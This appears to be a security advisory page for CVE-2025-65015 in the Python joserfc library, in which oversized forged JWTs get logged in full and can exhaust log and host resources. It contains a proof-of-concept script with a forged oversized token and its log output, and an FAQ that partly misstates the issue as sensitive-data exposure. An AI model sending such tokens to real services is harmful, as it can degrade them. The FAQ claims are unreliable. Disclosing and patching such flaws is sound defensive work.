CVE-2025-65015: joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads

Published Nov 18, 2025
·
Updated

Summary The ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload.

Details In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se.

It is therefore the responsibility of the underlying web server (uvicorn/h11, gunicorn, Starlette, Werkzeug, nginx...etc) to enforce limits on header sizes. For example, a FastAPI/Starlette application running without uvicorn and/or gunicorn cannot enforce header size limits on its own. With uvicorn/h11, the --h11-max-incomplete-event-size <int> option can restrict the total size of the header plus body, but not the header alone. Similarly, vLLM serve —due to its reliance on uvicorn/h11 and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header plus body and is frequently increased. In practice, a robust reverse proxy (such as nginx) is typically required because it can explicitly cap maximum header size. Unfortunately, many web applications do not run behind a proper reverse proxy.

Given these constraints, the joserfc library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing.

PoC Environment Ubuntu 24.04 LTS Python 3.12 Tested on joserfc version 1.4.1

python

import logging from datetime import UTC, datetime, timedelta

from joserfc import jwt from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError from joserfc.jwk import OctKey

logger = logging.getLogger(name)

SECRETKEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e" LONGJWTTOKEN = ( "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ" "." "eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ" "." "6-k2jmkGXD6wXOgYgjPS8E5lSGjWpgIuY54gokjAn8" )

HEADER = { "alg": ( "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" ), } CLAIMS = { "iss": "authserver", "iat": datetime.now(UTC), "exp": datetime.now(UTC) + timedelta(minutes=15), }

def main(): # Create OctKey from SECRETKEY key = OctKey.importkey(SECRETKEY)

# Simulate creating a very large JWT # (this will fail with joserfc.errors.UnsupportedAlgorithmError # due to an invalid 'alg' header content try: token = jwt.encode(HEADER, CLAIMS, key) except UnsupportedAlgorithmError: # Use a forged token that has the same header and claims instead # but an invalid signature token = LONGJWTTOKEN logger.warning(f"Created JWT: {token}")

# Now try to decode the large JWT try: decodedtoken = jwt.decode(token, key) logger.warning("This line will never be reached.") logger.warning(decodedtoken.claims) except ExceededSizeError: logger.exception( "The JWT size is too large and may be a security attack attempt." ) # this is logging the whole header content in the exception message!

Created JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ.eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ.6-k2jmkGXD6wXOgYgjPS8E5lSGjWpgIuY54gokjAn8 The JWT size is too large and may be a security attack attempt. Traceback (most recent call last): File "securityissue.py", line 55, in main claims = jwt.decode(token, key) ^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 106, in decode header, payload = decodejws(value, key, algorithms, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 127, in decodejws jwsobj = deserializecompact(value, key, algorithms, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/jws.py", line 183, in deserializecompact obj = extractcompact(tobytes(value), payload, registry) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File ".venv/lib/python3.12/site-packages/joserfc/rfc7797/compact.py", line 50, in extractrfc7515compact registry.validateheadersize(headersegment) File ".venv/lib/python3.12/site-packages/joserfc/rfc7515/registry.py", line 104, in validateheadersize raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.maxheaderlength} bytes.") joserfc.errors.ExceededSizeError: exceededsize: Header size of 'b'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ'' exceeds 512 bytes.

Code location This behavior occurs in:

joserfc/rfc7515/registry.py L102-112 python def validateheadersize(self, header: bytes) -> None: if header and len(header) > self.maxheaderlength: raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.maxheaderlength} bytes.")

def validatepayloadsize(self, payload: bytes) -> None: if payload and len(payload) > self.maxpayloadlength: raise ExceededSizeError(f"Payload size of '{payload!r}' exceeds {self.maxpayloadlength} bytes.")

def validatesignaturesize(self, signature: bytes) -> None: if len(signature) > self.maxsignaturelength: raise ExceededSizeError(f"Signature of '{signature!r}' exceeds {self.maxsignaturelength} bytes.") joserfc/rfc7516/registry.py L103-123 python def validateprotectedheadersize(self, header: bytes) -> None: if header and len(header) > self.maxprotectedheaderlength: raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.maxprotectedheaderlength} bytes.")

def validateencryptedkeysize(self, ek: bytes) -> None: if ek and len(ek) > self.maxencryptedkeylength: raise ExceededSizeError(f"Encrypted key size of '{ek!r}' exceeds {self.maxencryptedkeylength} bytes.")

def validateinitializationvectorsize(self, iv: bytes) -> None: if iv and len(iv) > self.maxinitializationvectorlength: raise ExceededSizeError( f"Initialization vector size of '{iv!r}' exceeds {self.maxinitializationvectorlength} bytes." )

def validateciphertextsize(self, ciphertext: bytes) -> None: if ciphertext and len(ciphertext) > self.maxciphertextlength: raise ExceededSizeError(f"Ciphertext size of '{ciphertext!r}' exceeds {self.maxciphertextlength} bytes.")

def validateauthtagsize(self, tag: bytes) -> None: if tag and len(tag) > self.maxauthtaglength: raise ExceededSizeError(f"Auth tag size of '{tag!r}' exceeds {self.maxauthtaglength} bytes.") Another occurrence of ExceededSizeError in joserfc/rfc7518/jwezips.py is not affected by this issue as it does not include the payload content in the exception message.

Impact In scenarios where a web application does not reject excessively large HTTP header payloads, using joserfc can expose the system to an Allocation of Resources Without Limits or Throttling (CWE-770), potentially impacting disk, memory, and CPU on the application host, as well as any external log storage, ingestion pipelines or alerting services. This risk can be mitigated by removing the JWT payload from the logged content in some joserfc.errors.ExceededSizeError() exception message occurrences. It would also be beneficial for the documentation to advise deploying the library behind a robust web server or reverse proxy that correctly enforces maximum request header sizes.

Other sources

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions from 1.3.3 to before 1.3.5 and from 1.4.0 to before 1.4.2, the ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload. In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it. This issue has been patched in versions 1.3.5 and 1.4.2.

MITRE

Affected Software

4 affected componentsFixes available
pip/joserfc>=1.4.0<1.4.2
1.4.2
pip/joserfc>=1.3.3<1.3.5
1.3.5
Hsiaoming Joserfc Python>=1.3.3<1.3.5
Hsiaoming Joserfc Python>=1.4.0<1.4.2

Event History

Nov 18, 2025
Advisory Published
via GitHub·06:26 PM
Data Sourced
via GitHub·06:26 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·11:07 PM
Data Sourced
via MITRE·11:07 PM
DescriptionWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-65015?

CVE-2025-65015 has been classified with a high severity due to the potential for logging sensitive information in an insecure manner.

2

How do I fix CVE-2025-65015?

To fix CVE-2025-65015, upgrade the 'joserfc' package to version 1.4.2 or 1.3.5 as appropriate.

3

What are the implications of CVE-2025-65015?

The implications of CVE-2025-65015 include the risk of exposing sensitive JWT token information through logging.

4

Which software versions are affected by CVE-2025-65015?

CVE-2025-65015 affects 'joserfc' package versions between 1.3.3 to 1.3.5 and 1.4.0 to 1.4.2.

5

Is there a workaround for CVE-2025-65015?

There is no official workaround for CVE-2025-65015; the recommended action is to update to a secure version.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203